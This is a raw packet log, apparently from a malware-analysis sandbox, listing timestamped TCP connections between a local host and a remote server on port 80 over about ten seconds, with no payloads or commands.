Feb 6, 2023 14:19:01.197139978 CET	50183	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.197870970 CET	50184	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.258229017 CET	80	50184	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.258395910 CET	50184	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.258553982 CET	80	50183	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.258616924 CET	50183	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.259062052 CET	50184	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.319324970 CET	80	50184	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.322190046 CET	80	50184	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.322340965 CET	50184	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.431324005 CET	50184	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.431972027 CET	50185	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.491750002 CET	80	50184	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.491854906 CET	50184	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.492134094 CET	80	50185	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.492218971 CET	50185	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.492595911 CET	50185	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.552925110 CET	80	50185	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.556504965 CET	80	50185	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.556687117 CET	50185	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.666157961 CET	50185	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.667057991 CET	50186	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.726747036 CET	80	50185	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.726864100 CET	50185	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.728457928 CET	80	50186	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.728600979 CET	50186	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.729093075 CET	50186	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.790524960 CET	80	50186	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.793245077 CET	80	50186	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.794925928 CET	50186	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.909929991 CET	50186	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.910618067 CET	50187	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.970979929 CET	80	50187	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.971352100 CET	80	50186	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:01.971546888 CET	50186	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.971976042 CET	50187	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:01.971976042 CET	50187	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.032232046 CET	80	50187	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.037403107 CET	80	50187	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.037612915 CET	50187	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.152431965 CET	50187	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.153033972 CET	50188	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.213015079 CET	80	50187	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.214415073 CET	80	50188	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.214561939 CET	50187	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.214620113 CET	50188	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.215107918 CET	50188	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.276766062 CET	80	50188	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.280091047 CET	80	50188	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.280469894 CET	50188	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.384443045 CET	50188	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.385456085 CET	50189	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.446165085 CET	80	50188	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.446850061 CET	50188	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.448035002 CET	80	50189	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.450968027 CET	50189	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.451596022 CET	50189	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.514158964 CET	80	50189	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.517589092 CET	80	50189	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.517777920 CET	50189	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.634754896 CET	50189	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.635955095 CET	50190	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.697396994 CET	80	50189	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.697599888 CET	50189	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.698159933 CET	80	50190	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.698277950 CET	50190	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.698642015 CET	50190	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.760833025 CET	80	50190	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.763273954 CET	80	50190	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.763459921 CET	50190	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.885102034 CET	50190	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.885946035 CET	50191	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.947280884 CET	80	50191	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.947319984 CET	80	50190	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:02.947525024 CET	50190	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.948024988 CET	50191	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:02.948024988 CET	50191	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.009222031 CET	80	50191	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.012465954 CET	80	50191	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.012581110 CET	50191	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.123766899 CET	50191	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.124630928 CET	50192	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.185605049 CET	80	50192	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.185645103 CET	80	50191	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.185853004 CET	50191	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.186394930 CET	50192	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.186395884 CET	50192	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.246762037 CET	80	50192	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.250641108 CET	80	50192	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.250869989 CET	50192	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.353341103 CET	50192	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.354250908 CET	50193	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.413883924 CET	80	50192	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.413975954 CET	50192	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.416862965 CET	80	50193	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.417015076 CET	50193	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.417591095 CET	50193	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.479909897 CET	80	50193	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.482860088 CET	80	50193	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.482960939 CET	50193	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.588080883 CET	50193	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.588968039 CET	50194	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.648308039 CET	80	50194	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.648437023 CET	50194	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.649008036 CET	50194	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.650507927 CET	80	50193	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.650607109 CET	50193	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.708261013 CET	80	50194	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.710764885 CET	80	50194	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.710855961 CET	50194	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.823386908 CET	50194	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.826237917 CET	50195	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.882898092 CET	80	50194	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.883034945 CET	50194	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.887649059 CET	80	50195	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.887762070 CET	50195	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.888103962 CET	50195	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:03.949440002 CET	80	50195	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.951908112 CET	80	50195	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:03.952028990 CET	50195	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.060388088 CET	50195	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.061306000 CET	50196	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.121963024 CET	80	50195	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.122092962 CET	50195	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.122922897 CET	80	50196	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.123018026 CET	50196	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.123384953 CET	50196	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.185039997 CET	80	50196	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.188596964 CET	80	50196	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.188679934 CET	50196	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.307188988 CET	50196	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.307991982 CET	50197	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.369242907 CET	80	50197	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.369313002 CET	80	50196	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.369446039 CET	50197	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.369489908 CET	50196	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.369822979 CET	50197	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.431088924 CET	80	50197	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.433660030 CET	80	50197	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.433800936 CET	50197	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.556555033 CET	50197	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.557212114 CET	50198	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.617881060 CET	80	50197	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.618479013 CET	80	50198	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.618597984 CET	50197	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.618649960 CET	50198	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.619859934 CET	50198	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.681216002 CET	80	50198	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.683567047 CET	80	50198	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.683759928 CET	50198	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.790893078 CET	50198	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.791773081 CET	50199	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.852169037 CET	80	50199	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.852314949 CET	80	50198	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.852540970 CET	50198	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.853143930 CET	50199	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.853143930 CET	50199	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:04.913314104 CET	80	50199	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.915909052 CET	80	50199	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:04.916935921 CET	50199	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.025722027 CET	50199	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.026561975 CET	50200	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.086157084 CET	80	50199	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.087193966 CET	50199	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.088047028 CET	80	50200	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.088237047 CET	50200	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.093128920 CET	50200	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.154584885 CET	80	50200	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.158956051 CET	80	50200	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.159082890 CET	50200	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.276701927 CET	50200	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.278806925 CET	50201	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.338274002 CET	80	50200	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.338407040 CET	50200	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.341247082 CET	80	50201	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.341470003 CET	50201	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.341830969 CET	50201	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.404321909 CET	80	50201	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.408659935 CET	80	50201	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.411192894 CET	50201	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.526860952 CET	50201	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.527945042 CET	50202	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.589474916 CET	80	50201	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.589752913 CET	50201	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.590338945 CET	80	50202	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.590711117 CET	50202	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.591073990 CET	50202	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.653570890 CET	80	50202	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.656107903 CET	80	50202	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.656485081 CET	50202	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.762309074 CET	50202	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.762967110 CET	50203	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.827419043 CET	80	50203	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.827474117 CET	80	50202	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.827651024 CET	50202	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.828052998 CET	50203	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.828473091 CET	50203	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:05.889669895 CET	80	50203	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.892863035 CET	80	50203	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:05.893013954 CET	50203	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.010391951 CET	50203	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.011326075 CET	50204	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.071831942 CET	80	50203	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.072000027 CET	50203	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.072654009 CET	80	50204	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.072796106 CET	50204	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.078376055 CET	50204	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.139733076 CET	80	50204	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.144231081 CET	80	50204	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.144391060 CET	50204	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.259884119 CET	50204	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.260765076 CET	50205	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.321391106 CET	80	50204	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.321551085 CET	50204	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.322901011 CET	80	50205	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.323251963 CET	50205	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.323849916 CET	50205	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.386025906 CET	80	50205	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.389614105 CET	80	50205	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.389739037 CET	50205	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.509454966 CET	50205	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.510175943 CET	50206	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.571542025 CET	80	50206	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.571583986 CET	80	50205	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.571688890 CET	50206	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.571723938 CET	50205	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.573237896 CET	50206	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.634736061 CET	80	50206	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.638559103 CET	80	50206	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.638631105 CET	50206	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.751935005 CET	50206	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.753197908 CET	50207	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.813554049 CET	80	50206	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.813644886 CET	50206	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.815664053 CET	80	50207	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.815809011 CET	50207	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.819267988 CET	50207	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:06.881774902 CET	80	50207	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.884358883 CET	80	50207	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:06.884588957 CET	50207	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.006587982 CET	50207	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.007303953 CET	50208	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.069370031 CET	80	50207	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.069631100 CET	50207	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.069788933 CET	80	50208	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.069880962 CET	50208	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.190881014 CET	50208	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.253447056 CET	80	50208	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.259404898 CET	80	50208	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.259478092 CET	50208	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.370815039 CET	50208	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.371539116 CET	50209	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.433521986 CET	80	50208	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.433665037 CET	50208	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.433794022 CET	80	50209	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.433866024 CET	50209	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.475846052 CET	50209	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.542020082 CET	80	50209	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.542187929 CET	80	50209	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.542287111 CET	50209	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.697663069 CET	50209	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.698354006 CET	50210	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.760071039 CET	80	50209	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.763084888 CET	80	50210	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.763279915 CET	50209	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.763322115 CET	50210	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.790071011 CET	50210	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:07.852601051 CET	80	50210	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.856143951 CET	80	50210	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:07.859236956 CET	50210	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.443454981 CET	50210	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.444267035 CET	50211	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.506046057 CET	80	50210	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:08.506135941 CET	50210	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.506607056 CET	80	50211	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:08.506726027 CET	50211	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.508471012 CET	50211	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.573156118 CET	80	50211	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:08.577630997 CET	80	50211	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:08.580694914 CET	50211	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.721110106 CET	50211	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.721816063 CET	50212	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.783529043 CET	80	50211	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:08.783698082 CET	50211	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.784567118 CET	80	50212	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:08.784696102 CET	50212	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.785161972 CET	50212	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:08.847542048 CET	80	50212	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:08.850505114 CET	80	50212	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:08.850589037 CET	50212	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:09.954179049 CET	50212	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:09.955645084 CET	50213	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.016849041 CET	80	50212	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.016884089 CET	80	50213	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.016915083 CET	50212	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.016968966 CET	50213	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.017712116 CET	50213	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.078838110 CET	80	50213	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.085311890 CET	80	50213	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.085772991 CET	50213	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.222516060 CET	50213	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.223357916 CET	50214	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.283921003 CET	80	50213	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.284091949 CET	50213	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.284674883 CET	80	50214	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.284781933 CET	50214	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.427527905 CET	50214	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.489166021 CET	80	50214	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.492854118 CET	80	50214	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.493029118 CET	50214	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.607484102 CET	50214	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.608186960 CET	50215	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.668771982 CET	80	50215	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.668869972 CET	50215	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.668912888 CET	80	50214	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.669087887 CET	50214	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.669292927 CET	50215	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.729701996 CET	80	50215	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.734399080 CET	80	50215	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.734482050 CET	50215	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.838686943 CET	50215	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.839474916 CET	50216	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.899347067 CET	80	50215	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.899564028 CET	50215	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.900839090 CET	80	50216	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.900969028 CET	50216	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.901300907 CET	50216	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:10.962577105 CET	80	50216	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.965966940 CET	80	50216	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:10.966095924 CET	50216	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.075025082 CET	50216	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.076009035 CET	50217	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.136698008 CET	80	50216	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.136795998 CET	50216	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.137500048 CET	80	50217	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.137593985 CET	50217	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.137962103 CET	50217	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:19:11.199484110 CET	80	50217	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.204516888 CET	80	50217	62.204.41.4	192.168.2.5
Feb 6, 2023 14:19:11.204586029 CET	50217	80	192.168.2.5	62.204.41.4
